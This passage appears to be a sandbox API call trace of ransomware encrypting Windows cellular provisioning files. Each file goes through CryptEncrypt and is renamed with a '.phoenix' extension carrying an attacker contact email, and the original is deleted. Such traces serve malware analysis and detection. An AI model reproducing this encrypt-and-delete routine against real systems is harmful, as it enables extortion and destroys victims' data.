	[0238.615] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cd, lpOverlapped=0x0) returned 1
	[0238.648] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0238.648] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0238.649] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151400) returned 1
	[0238.649] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.649] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0238.649] CryptDestroyKey (hKey=0x151400) returned 1
	[0238.649] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0238.649] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0238.649] CloseHandle (hObject=0x2c0) returned 1
	[0238.649] CloseHandle (hObject=0x2d4) returned 1
	[0238.649] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\214__connections_cellular_vodafone it (italy)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.650] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.651] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\215__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.651] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=480) returned 1
	[0238.651] CloseHandle (hObject=0x2d4) returned 1
	[0238.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\215__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0238.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\215__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.651] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\215__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.651] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.651] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.651] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\215__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.652] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1512c0) returned 1
	[0238.652] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.652] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1e0, lpOverlapped=0x0) returned 1
	[0238.653] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0) returned 1
	[0238.653] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1f0, lpOverlapped=0x0) returned 1
	[0238.654] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151400) returned 1
	[0238.654] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.654] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0238.654] CryptDestroyKey (hKey=0x151400) returned 1
	[0238.654] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0238.654] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0238.654] CloseHandle (hObject=0x2d4) returned 1
	[0238.654] CloseHandle (hObject=0x2c0) returned 1
	[0238.654] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\215__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0238.655] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.655] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\216__connections_cellular_wind (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.655] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=643) returned 1
	[0238.655] CloseHandle (hObject=0x2c0) returned 1
	[0238.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\216__connections_cellular_wind (italy)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\216__connections_cellular_wind (italy)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.656] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\216__connections_cellular_wind (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.656] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.656] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.656] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\216__connections_cellular_wind (italy)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.656] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0238.656] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.656] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x283, lpOverlapped=0x0) returned 1
	[0238.701] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0238.701] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0241.033] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151680) returned 1
	[0241.033] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0241.033] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0241.033] CryptDestroyKey (hKey=0x151680) returned 1
	[0241.033] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0241.033] CryptDestroyKey (hKey=0x151040) returned 1
	[0241.033] CloseHandle (hObject=0x2c0) returned 1
	[0241.033] CloseHandle (hObject=0x2d4) returned 1
	[0241.034] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\216__connections_cellular_wind (italy)_i0$(__mvid)@wap.provxml")) returned 1
	[0241.035] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0241.035] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0241.035] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=787) returned 1
	[0241.036] CloseHandle (hObject=0x2d4) returned 1
	[0241.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0241.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.036] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0241.036] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0241.036] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0241.036] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0241.036] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0241.037] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0241.037] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x313, lpOverlapped=0x0) returned 1
	[0241.169] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x320, dwBufLen=0x320 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x320) returned 1
	[0241.169] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x320, lpOverlapped=0x0) returned 1
	[0241.170] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151400) returned 1
	[0241.170] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0241.170] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0241.170] CryptDestroyKey (hKey=0x151400) returned 1
	[0241.170] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0241.170] CryptDestroyKey (hKey=0x151380) returned 1
	[0241.170] CloseHandle (hObject=0x2d4) returned 1
	[0241.170] CloseHandle (hObject=0x2c0) returned 1
	[0241.170] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml")) returned 1
	[0241.171] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0241.171] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0241.172] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=740) returned 1
	[0241.172] CloseHandle (hObject=0x2c0) returned 1
	[0241.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0241.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0241.172] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0241.172] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0241.172] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0241.172] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0241.172] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0241.173] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0241.173] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2e4, lpOverlapped=0x0) returned 1
	[0241.913] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0) returned 1
	[0241.913] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2f0, lpOverlapped=0x0) returned 1
	[0241.961] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1511c0) returned 1
	[0241.961] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0241.961] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0241.961] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0241.961] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0241.961] CryptDestroyKey (hKey=0x151640) returned 1
	[0241.961] CloseHandle (hObject=0x2c0) returned 1
	[0241.961] CloseHandle (hObject=0x2d4) returned 1
	[0241.962] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml")) returned 1
	[0241.963] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
